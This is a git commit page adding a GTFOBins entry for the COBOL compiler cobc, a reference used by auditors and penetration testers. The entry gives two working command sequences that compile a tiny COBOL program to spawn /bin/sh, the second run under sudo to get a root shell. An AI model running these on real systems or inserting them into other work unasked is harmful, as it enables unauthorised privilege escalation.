mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-23 12:32:09 +02:00
Create cobc.md
This commit is contained in:
parent
d8a1e55782
commit
b94b01477c
13
_gtfobins/cobc.md
Normal file
13
_gtfobins/cobc.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
|
||||||
|
cobc -xFj --frelax-syntax-checks $TF/x
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
|
||||||
|
sudo cobc -xFj --frelax-syntax-checks $TF/x
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user